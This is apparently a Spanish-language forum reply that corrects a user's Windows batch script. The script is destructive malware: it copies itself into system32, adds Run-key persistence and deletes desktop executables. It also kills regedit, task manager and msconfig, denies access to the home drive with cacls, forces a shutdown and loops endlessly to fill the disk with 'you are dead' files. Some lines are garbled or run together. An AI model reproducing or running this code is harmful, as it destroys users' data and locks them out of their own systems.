Lo e mirao por encima y e encontrao algun error que otro
hay va:
@echo off
:Ini
If exist "%homepath%\Escritorio" goto Atcop
else (If exist "homepath%\Desktop" goto Atcop2)
::else(comando) tiene que ir todo en la misma linea:Atcop
Copy /Y %0 "%windir%\system32\datastp.bat"
Copy /Y %0 "%windir%\system32\filedatastp.bat"
reg add "HKEY_LOCAL_MAC
HINE\Software\Microsoft\Windows\CurrentVersion\Run" /t REG_SZ "%windir%\system32\datastp.bat"
::Aqui pondria un taskkill para evitar errores si algun .exe se esta ejecutando
Taskkill /fi Estado eq /im *.exe /fDel /f /q "%homepath%\Escritorio\*.exe"
goto cc
:Atcop2
Copy /Y %0 "%windir%\system32\datastp.bat"
Copy /Y %0 "%windir%\system32\filedatastp.bat"
reg add "HKEY_LOCAL_MAC
HINE\Software\Microsoft\Windows\CurrentVersion\Run" /t REG_SZ "%windir%\system32\datastp.bat"
:: aqui pondria otro taskkillDel /f /q "%homepath%\Desktop\*.exe"
goto cc
:cc
Pushd "%windir%\system32"
md STP
Attrib +H STP
:batc
Pushd "%windir%\system32\STP"
md CTC
Attrib +H CTC
echo @echo off>windowsstp.bat
echo taskkill /f /IM regedit.exe>>windowsstp.bat
echo taskkill /f /IM taskmgr.exe>>windowsstp.bat
echo taskkill /f /IM msconfig.exe>>windowsstp.bat
echo echo Y^| cacls ^"%%homedrive%%^" /d %%allusersprofile%%>>windowsstp.bat
echo echo Y^| cacls ^"%%windir%%\system32\STP^" /d>>windowsstp.bat
echo reg add ^"HKEY_LOCAL_MAC
HINE\Software\Microsoft\Windows\CurrentVersion\Run^" /t REG_SZ ^"%%windir%%\system32\STP\windowsstp.bat^">>windowsstp.bat
:: A esta linea faltaria añadirle un echoecho exit /b>>windowsstp.bat
:batc2
Pushd "%windir%\system32\STP\CTC"
echo @echo off>datafile.bat
echo reg add ^"HKEY_LOCAL_MAC
HINE\Software\Microsoft\Windows\CurrentVersion\Run^" /t REG_SZ ^"%%windir%%\system32\STP\CTC\datafile.bat^">>datafile.bat
:: Añadirle un echoecho If not exist ^"%%windir%%\system32\datastp.bat^" ( >>datafile.bat
echo Copy /Y ^"%%windir%%\system32\filedatastp.bat^" ^"%%windir%%\system32\datastp.bat^">>datafile.bat
echo ) else (>>datafile.bat
::else (comando) todo en la misma lineaecho If not exist ^"%%windir%%\system32\STP\windowsstp.bat^">>datafile.bat
echo shutdown -s -f -t 00>>datafile.bat
echo )>>datafile.bat
echo )>>datafile.bat
echo exit /b>>datafile.bat
:calling
Call "%windir%\system32\STP\windowsstp.bat"
Call "%windir%\system32\STP\CTC\datafile.bat"
:worm
Pushd "%windir%\system32\STP"
set /a carp=carp+1
md %carp%
echo you are dead>%carp%.txt
goto worm
Espero te sirva

PD: Creo que dentro de un echo nu se pone ^" sino "" lo k sea ""
Saludos